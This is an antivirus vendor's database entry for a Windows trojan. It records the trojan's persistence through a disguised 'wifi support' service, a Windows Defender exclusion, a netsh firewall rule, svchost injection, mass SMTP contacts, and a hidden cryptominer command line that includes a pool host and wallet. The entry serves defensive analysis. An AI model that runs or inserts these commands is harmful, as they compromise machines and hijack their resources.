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Trojan.Siggen9.23057

Added to the Dr.Web virus database: 2020-03-21

Virus description added:

Technical Information

To ensure autorun and distribution
Creates the following services
  • [<HKLM>\System\CurrentControlSet\Services\mskdbbsa] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\mskdbbsa] 'ImagePath' = '%WINDIR%\SysWOW64\mskdbbsa\gftvjghz.exe /d"<Full path to file>"'
  • [<HKLM>\SYSTEM\CurrentControlSet\services\mskdbbsa] 'ImagePath' = '%WINDIR%\SysWOW64\mskdbbsa\gftvjghz.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\mskdbbsa' = '00000000'
Executes the following
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
  • %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
  • %TEMP%\gftvjghz.exe
  • %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
  • from %TEMP%\gftvjghz.exe to %WINDIR%\syswow64\mskdbbsa\gftvjghz.exe
Deletes itself.
Network activity
Connects to
  • 'mt##.##0.yahoodns.net':25
TCP
HTTP GET requests
  • http://www.google.com/
  • '43.#31.4.7':443
  • 'as###.daum.net':25
  • 'mx#.##rgerbd.com':25
  • 'mx####.##il.gm0.yahoodns.net':25
  • 'mx.##l.com.br':25
  • 'ms#####p-mx2.hinet.net':25
  • 'mx#.qq.com':25
  • 'mx#.free.fr':25
  • 'sp###.#ail.gandi.net':25
  • 'im##.##inkwaresys.com':25
  • 'mx.##oeuro.com':25
  • 'gw####.fortimail.com':25
  • 'sp#####l.cerimay.co.uk':25
  • 'mb####.mynet.com':25
  • 'ma##.surfeu.fi':25
  • 'mx#####.#ail.gm0.yahoodns.net':25
  • 'ff######x-vip1.prodigy.net':25
  • 'ma##.#obbyhorse.com':25
  • 'alt1.gmail-smtp-in.l.google.com':25
  • 'mx#.##tsolmail.net':25
  • 'go###e.co.uk':443
  • 'mx#.##ukiemail.com':25
  • 'ma#####1.pimail.com.pk':25
  • 'mx.##timum.net':25
  • 'mx.##.#tinternet.com':25
  • '46.#8.66.2':422
  • 'in##.rambler.ru':25
  • 'd3#####.##s.barracudanetworks.com':25
  • '93.##9.69.109':422
  • '85.##4.134.88':486
  • 'mi####.bittubeapp.com':13333
  • 'ho#########.olc.protection.outlook.com':25
  • 'mx####.#egamailservers.eu':25
  • 'ASPMX.L.GOOGLE.COM':25
  • 'mt##.##0.yahoodns.net':25
  • 'alt2.aspmx.l.google.com':25
  • 'eu#.###.#rotection.outlook.com':25
  • 'li######.#lc.protection.outlook.com':25
  • 'mx.###zta.onet.pl':25
  • 'ar#########.mail.protection.outlook.com':25
  • 'ma##.#lient.247.tv':25
  • 'mx###.##il.am0.yahoodns.net':25
  • 'ma##.#alticum-tv.lt':25
  • 'ma##.##mautoclinic.com':25
  • 'mx##.phpnet.org':25
  • 'a4#####.mx.mailhop.org':25
  • 'mx####.##il.am0.yahoodns.net':25
  • 'mx###.clara.net':25
  • 'alt1.aspmx.l.google.com':25
  • 'us#######nbound-2.mimecast.com':25
  • '78.#1.67.23':422
  • '18#.#65.238.150':422
  • '17#.#.114.177':422
  • '46.#.52.109':422
  • 'mx#.#anmail.net':25
  • 'mx.#####ce.govdelivery.com':25
  • UDP
    • DNS ASK mi##########m.mail.protection.outlook.com
    • DNS ASK ce###ay.co.uk
    • DNS ASK sp#####l.cerimay.co.uk
    • DNS ASK mo##lix.dk
    • DNS ASK re##er.dk
    • DNS ASK na##r.com
    • DNS ASK mx#.#aver.com
    • DNS ASK wi##sa.com
    • DNS ASK ti###linet.it
    • DNS ASK ec###hare.com
    • DNS ASK aa#.dk
    • DNS ASK mx#.##ailsrvr.com
    • DNS ASK ye###sure.com
    • DNS ASK cl######.us.messagelabs.com
    • DNS ASK my##t.com
    • DNS ASK mb####.mynet.com
    • DNS ASK ku##com.net
    • DNS ASK mx.#######.net.cust.b.hostedemail.com
    • DNS ASK wa##doo.fr
    • DNS ASK sm####n.orange.fr
    • DNS ASK fl##hnet.it
    • DNS ASK in.###babusiness.it
    • DNS ASK wm##.com.br
    • DNS ASK ph##hvt.com
    • DNS ASK mx#######001.gslb.pphosted.com
    • DNS ASK my###mail.net
    • DNS ASK ca####eremiason.com
    • DNS ASK mx#######702.gslb.pphosted.com
    • DNS ASK ko##umat.de
    • DNS ASK mx##.#spgateway.de
    • DNS ASK em##l.com
    • DNS ASK mx##.mail.com
    • DNS ASK em###tes.net.ae
    • DNS ASK dc######.emirates.net.ae
    • DNS ASK or####dsgaard.dk
    • DNS ASK ex###mobil.com
    • DNS ASK ma####.exxonmobil.com
    • DNS ASK ad###h.ppg.br
    • DNS ASK wa###nhut.com
    • DNS ASK mx#.###ntec.iphmx.com
    • DNS ASK mx.##oeuro.com
    • DNS ASK wd##pp.com
    • DNS ASK gw####.fortimail.com
    • DNS ASK ti##ali.it
    • DNS ASK et###.#ail.tiscali.it
    • DNS ASK ji####ilmore.com
    • DNS ASK fo##m.dk
    • DNS ASK fo####ail.forum.dk
    • DNS ASK nc##.edu
    • DNS ASK ac###eenergy.ca
    • DNS ASK l1#.fi
    • DNS ASK so#y.dk
    • DNS ASK wm###ero.com
    • DNS ASK sp###.#ail.gandi.net
    • DNS ASK mx.#.#ocaweb.com.br
    • DNS ASK yo####ksofine.eu
    • DNS ASK nu###email.com
    • DNS ASK mx#.##ukiemail.com
    • DNS ASK jr##ods.com
    • DNS ASK sm##.##cureserver.net
    • DNS ASK bl####nder.co.uk
    • DNS ASK mx.##.##mail.iss.as9143.net
    • DNS ASK pi###l.com.pk
    • DNS ASK ma#####1.pimail.com.pk
    • DNS ASK op###line.net
    • DNS ASK mx.##timum.net
    • DNS ASK mx######91d01.pphosted.com
    • DNS ASK bt###ernet.com
    • DNS ASK su#####ptions.ahrq.gov
    • DNS ASK mx.#####ce.govdelivery.com
    • DNS ASK is#.de
    • DNS ASK mx##.#nity-mail.com
    • DNS ASK ra##ler.ru
    • DNS ASK in##.rambler.ru
    • DNS ASK ya###.com.br
    • DNS ASK ya##o.co.in
    • DNS ASK py#.com.co
    • DNS ASK ec##es.net
    • DNS ASK sp###ify.com
    • DNS ASK ya##o.ro
    • DNS ASK fr###iernet.net
    • DNS ASK at#.com
    • DNS ASK a-###cept.co.uk
    • DNS ASK it#l.it
    • DNS ASK ya###.com.sg
    • DNS ASK mx#####.#ail.gm0.yahoodns.net
    • DNS ASK co##ast.net
    • DNS ASK mx#.#omcast.net
    • DNS ASK jp.#bm.com
    • DNS ASK sb###obal.net
    • DNS ASK ff######x-vip1.prodigy.net
    • DNS ASK ho###horse.com
    • DNS ASK im###.queen.it
    • DNS ASK ma##.surfeu.fi
    • DNS ASK su##eu.fi
    • DNS ASK ma##.#obbyhorse.com
    • DNS ASK ya##o.in
    • DNS ASK ge####asouthern.edu
    • DNS ASK cn.#bm.com
    • DNS ASK ya##o.co.uk
    • DNS ASK hu##en.com
    • DNS ASK mx#.##tsolmail.net
    • DNS ASK go###e.co.uk
    • DNS ASK ea#####toremember.com
    • DNS ASK sa##ee.com
    • DNS ASK gm##l.com
    • DNS ASK alt1.gmail-smtp-in.l.google.com
    • DNS ASK ve##zon.net
    • DNS ASK vo#.com
    • DNS ASK mx#.free.fr
    • DNS ASK fr#e.fr
    • DNS ASK de##itte.ca
    • DNS ASK mx#.####9-40.ca.iphmx.com
    • DNS ASK re#####.lombardia.it
    • DNS ASK mi#######2.regione.lombardia.it
    • DNS ASK li##ro.it
    • DNS ASK sm####n.libero.it
    • DNS ASK ho##ail.fr
    • DNS ASK ce###ese.com
    • DNS ASK mx#######101.gslb.pphosted.com
    • DNS ASK li#e.de
    • DNS ASK ed###dner.com
    • DNS ASK ya##o.de
    • DNS ASK ba###cum-tv.lt
    • DNS ASK ma##.#alticum-tv.lt
    • DNS ASK gs.com
    • DNS ASK mx#######501.gslb.pphosted.com
    • DNS ASK ne###ert.com
    • DNS ASK ma##.#lient.247.tv
    • DNS ASK co###ist.com
    • DNS ASK md####oclinic.com
    • DNS ASK ma##.##mautoclinic.com
    • DNS ASK eu#.###.#rotection.outlook.com
    • DNS ASK li#e.fr
    • DNS ASK li######.#lc.protection.outlook.com
    • DNS ASK ar#########.mail.protection.outlook.com
    • DNS ASK ar#.aon.com
    • DNS ASK 19#.###.211.95.in-addr.arpa
    • DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
    • DNS ASK sm####n.virgilio.it
    • DNS ASK ho##ail.com
    • DNS ASK 19#.###.#11.95.bl.spamcop.net
    • DNS ASK ho#########.olc.protection.outlook.com
    • DNS ASK 19#.###.#11.95.zen.spamhaus.org
    • DNS ASK al##e.de
    • DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
    • DNS ASK mx####.#egamailservers.eu
    • DNS ASK ya##o.it
    • DNS ASK 19#.###.#11.95.cbl.abuseat.org
    • DNS ASK mx###.##il.am0.yahoodns.net
    • DNS ASK mi####.bittubeapp.com
    • DNS ASK ho###dayisd.net
    • DNS ASK ASPMX.L.GOOGLE.COM
    • DNS ASK bo###nvw.com
    • DNS ASK alt2.aspmx.l.google.com
    • DNS ASK lf#####portes.com.br
    • DNS ASK op.pl
    • DNS ASK mx.###zta.onet.pl
    • DNS ASK vi###tron.ca
    • DNS ASK mx.##deotron.ca
    • DNS ASK ya##o.com
    • DNS ASK vi##ilio.it
    • DNS ASK mt##.##0.yahoodns.net
    • DNS ASK li##.com
    • DNS ASK a4#####.mx.mailhop.org
    • DNS ASK fa###ebnet.it
    • DNS ASK mx#.##stwebnet.it
    • DNS ASK te###stems.com
    • DNS ASK mx#######f01.gslb.pphosted.com
    • DNS ASK be###rbd.com
    • DNS ASK mx#.##rgerbd.com
    • DNS ASK th###ware.com
    • DNS ASK im##.##inkwaresys.com
    • DNS ASK co###serve.com
    • DNS ASK mx####.##il.gm0.yahoodns.net
    • DNS ASK as###.daum.net
    • DNS ASK eo###tes.com
    • DNS ASK google.com
    • DNS ASK uo#.com.br
    • DNS ASK us.#bm.com
    • DNS ASK mx######b2d01.pphosted.com
    • DNS ASK ms#.#inet.net
    • DNS ASK ms#####p-mx2.hinet.net
    • DNS ASK az##p.vr.it
    • DNS ASK qq.com
    • DNS ASK mx#.qq.com
    • DNS ASK ya##o.es
    • DNS ASK wm##pa.com
    • DNS ASK mx.##l.com.br
    • DNS ASK ac###edt.com
    • DNS ASK tr#####lendinggroup.com
    • DNS ASK mx.##.#tinternet.com
    • DNS ASK pr####2.echoes.net
    • DNS ASK st####giclien.com
    • DNS ASK me###mclick.com
    • DNS ASK so###hoca.com
    • DNS ASK no##dr.com
    • DNS ASK ua##.edu
    • DNS ASK mx#######a01.gslb.pphosted.com
    • DNS ASK sr##aw.com
    • DNS ASK ar###ours.com
    • DNS ASK mx####.##il.am0.yahoodns.net
    • DNS ASK st####elegram.com
    • DNS ASK ho##ail.de
    • DNS ASK d3#####.##s.barracudanetworks.com
    • DNS ASK pa##n.com
    • DNS ASK st###sline.com
    • DNS ASK st###sman.com
    • DNS ASK alt1.aspmx.l.google.com
    • DNS ASK st#.com
    • DNS ASK ma###chip.com
    • DNS ASK ma###.magnachip.com
    • DNS ASK la###htime.com
    • DNS ASK st##aw.com
    • DNS ASK us#######nbound-2.mimecast.com
    • DNS ASK ha##ail.net
    • DNS ASK mx#.#anmail.net
    • DNS ASK mx##.phpnet.org
    • DNS ASK mx###.clara.net
    • DNS ASK le####rental.co.zw
    Miscellaneous
    Creates and executes the following
    • '%WINDIR%\syswow64\mskdbbsa\gftvjghz.exe' /d"<Full path to file>"
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\mskdbbsa\' (with hidden window)
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\gftvjghz.exe" %WINDIR%\SysWOW64\mskdbbsa\' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' create mskdbbsa binPath= "%WINDIR%\SysWOW64\mskdbbsa\gftvjghz.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' description mskdbbsa "wifi internet conection"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' start mskdbbsa' (with hidden window)
    • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
    Executes the following
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\mskdbbsa\
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\gftvjghz.exe" %WINDIR%\SysWOW64\mskdbbsa\
    • '%WINDIR%\syswow64\sc.exe' create mskdbbsa binPath= "%WINDIR%\SysWOW64\mskdbbsa\gftvjghz.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
    • '%WINDIR%\syswow64\sc.exe' description mskdbbsa "wifi internet conection"
    • '%WINDIR%\syswow64\sc.exe' start mskdbbsa
    • '%WINDIR%\syswow64\svchost.exe'
    • '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3GJeLpK9P2RqEpCXWpirL9u7wrGwoPmTJTemNtc7QpSTE24ybGdgtBmXSxhkTitLPyRh8sVz7qmM9TYnhXoZ6G1kARcnhMT.60000 -p x -k

    Curing recommendations

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    1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
    2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
      • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
      • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
      • Switch off your device and turn it on as normal.

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